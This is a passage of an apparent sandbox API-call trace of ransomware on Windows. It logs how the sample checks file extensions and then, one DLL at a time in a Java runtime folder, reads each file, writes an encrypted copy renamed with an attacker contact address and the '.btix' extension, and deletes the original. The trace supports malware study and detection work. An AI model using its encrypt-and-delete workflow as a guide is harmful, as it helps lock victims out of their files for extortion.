(lpString=".pdf") returned 4 [0148.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString=".xls") returned 4 [0148.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString=".xlsx") returned 5 [0148.754] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0148.754] lstrlenW (lpString=".ppt") returned 4 [0148.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.754] lstrlenW (lpString=".zip") returned 4 [0148.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString=".rar") returned 4 [0148.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.754] lstrlenW (lpString=".bz2") returned 4 [0148.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.754] lstrlenW (lpString=".7z") returned 3 [0148.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.754] lstrlenW (lpString=".dbf") returned 4 [0148.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.754] lstrlenW (lpString=".1cd") returned 4 [0148.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString=".jpg") returned 4 [0148.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString=".doc") returned 4 [0148.755] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString=".docx") returned 5 [0148.755] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0148.755] lstrlenW (lpString=".pdf") returned 4 [0148.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString=".xls") returned 4 [0148.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString=".xlsx") returned 5 [0148.755] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0148.755] lstrlenW (lpString=".ppt") returned 4 [0148.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString=".zip") returned 4 [0148.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString=".rar") returned 4 [0148.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.755] lstrlenW (lpString=".bz2") returned 4 [0148.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.755] lstrlenW (lpString=".7z") returned 3 [0148.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString=".dbf") returned 4 [0148.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.755] lstrlenW (lpString=".1cd") returned 4 [0148.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0148.756] lstrlenW (lpString=".jpg") returned 4 [0148.756] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.756] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.756] lstrlenW (lpString="jp2iexp.dll") returned 11 [0148.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.756] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=296000) returned 1 [0148.756] CloseHandle (hObject=0x36c) returned 1 [0148.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0148.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.756] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.757] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.757] GetLastError () returned 0x0 [0148.757] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x48440, lpOverlapped=0x0) returned 1 [0148.780] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x48450, lpOverlapped=0x0) returned 1 [0148.785] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.785] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1 [0148.785] SetEndOfFile (hFile=0x370) returned 1 [0148.785] CloseHandle (hObject=0x370) returned 1 [0148.785] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.785] SetEndOfFile (hFile=0x36c) returned 1 [0148.788] CloseHandle (hObject=0x36c) returned 1 [0148.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.788] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0148.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString=".doc") returned 4 [0148.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString=".docx") returned 5 [0148.789] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0148.789] lstrlenW (lpString=".pdf") returned 4 [0148.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString=".xls") returned 4 [0148.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString=".xlsx") returned 5 [0148.789] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0148.789] lstrlenW (lpString=".ppt") returned 4 [0148.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString=".zip") returned 4 [0148.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString=".rar") returned 4 [0148.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString=".bz2") returned 4 [0148.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.789] lstrlenW (lpString=".7z") returned 3 [0148.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString=".dbf") returned 4 [0148.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString=".1cd") returned 4 [0148.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString=".jpg") returned 4 [0148.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.790] lstrlenW (lpString=".doc") returned 4 [0148.790] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString=".docx") returned 5 [0148.790] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0148.790] lstrlenW (lpString=".pdf") returned 4 [0148.790] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString=".xls") returned 4 [0148.790] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString=".xlsx") returned 5 [0148.790] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0148.790] lstrlenW (lpString=".ppt") returned 4 [0148.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.790] lstrlenW (lpString=".zip") returned 4 [0148.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString=".rar") returned 4 [0148.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.790] lstrlenW (lpString=".bz2") returned 4 [0148.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.790] lstrlenW (lpString=".7z") returned 3 [0148.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.790] lstrlenW (lpString=".dbf") returned 4 [0148.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.790] lstrlenW (lpString=".1cd") returned 4 [0148.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0148.790] lstrlenW (lpString=".jpg") returned 4 [0148.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.790] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.791] lstrlenW (lpString="jp2native.dll") returned 13 [0148.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.791] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=20032) returned 1 [0148.791] CloseHandle (hObject=0x36c) returned 1 [0148.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0148.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.791] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.791] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.792] GetLastError () returned 0x0 [0148.792] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4e40, lpOverlapped=0x0) returned 1 [0148.794] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0148.795] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.795] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0148.795] SetEndOfFile (hFile=0x370) returned 1 [0148.795] CloseHandle (hObject=0x370) returned 1 [0148.795] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.795] SetEndOfFile (hFile=0x36c) returned 1 [0148.796] CloseHandle (hObject=0x36c) returned 1 [0148.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.796] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0148.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.796] lstrlenW (lpString=".doc") returned 4 [0148.796] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.796] lstrlenW (lpString=".docx") returned 5 [0148.797] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0148.797] lstrlenW (lpString=".pdf") returned 4 [0148.797] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString=".xls") returned 4 [0148.797] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString=".xlsx") returned 5 [0148.797] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0148.797] lstrlenW (lpString=".ppt") returned 4 [0148.797] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString=".zip") returned 4 [0148.797] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString=".rar") returned 4 [0148.797] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString=".bz2") returned 4 [0148.797] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.797] lstrlenW (lpString=".7z") returned 3 [0148.797] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString=".dbf") returned 4 [0148.797] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString=".1cd") returned 4 [0148.797] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString=".jpg") returned 4 [0148.797] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.797] lstrlenW (lpString=".doc") returned 4 [0148.797] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.797] lstrlenW (lpString=".docx") returned 5 [0148.797] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0148.797] lstrlenW (lpString=".pdf") returned 4 [0148.797] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.798] lstrlenW (lpString=".xls") returned 4 [0148.798] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.798] lstrlenW (lpString=".xlsx") returned 5 [0148.798] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0148.798] lstrlenW (lpString=".ppt") returned 4 [0148.798] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.798] lstrlenW (lpString=".zip") returned 4 [0148.798] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.798] lstrlenW (lpString=".rar") returned 4 [0148.798] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.798] lstrlenW (lpString=".bz2") returned 4 [0148.798] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.798] lstrlenW (lpString=".7z") returned 3 [0148.798] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.798] lstrlenW (lpString=".dbf") returned 4 [0148.798] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.798] lstrlenW (lpString=".1cd") returned 4 [0148.798] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0148.798] lstrlenW (lpString=".jpg") returned 4 [0148.798] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.798] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.798] lstrlenW (lpString="jp2ssv.dll") returned 10 [0148.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.799] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=235584) returned 1 [0148.799] CloseHandle (hObject=0x36c) returned 1 [0148.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0148.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.799] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.799] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.799] GetLastError () returned 0x0 [0148.799] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x39840, lpOverlapped=0x0) returned 1 [0149.165] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x39850, lpOverlapped=0x0) returned 1 [0149.168] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.168] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.169] SetEndOfFile (hFile=0x370) returned 1 [0149.169] CloseHandle (hObject=0x370) returned 1 [0149.169] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.169] SetEndOfFile (hFile=0x36c) returned 1 [0149.171] CloseHandle (hObject=0x36c) returned 1 [0149.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.171] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0149.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.171] lstrlenW (lpString=".doc") returned 4 [0149.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.171] lstrlenW (lpString=".docx") returned 5 [0149.171] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0149.171] lstrlenW (lpString=".pdf") returned 4 [0149.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.171] lstrlenW (lpString=".xls") returned 4 [0149.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.171] lstrlenW (lpString=".xlsx") returned 5 [0149.171] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0149.171] lstrlenW (lpString=".ppt") returned 4 [0149.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString=".zip") returned 4 [0149.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString=".rar") returned 4 [0149.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString=".bz2") returned 4 [0149.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.172] lstrlenW (lpString=".7z") returned 3 [0149.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString=".dbf") returned 4 [0149.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString=".1cd") returned 4 [0149.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.172] lstrlenW (lpString="C:\\Program 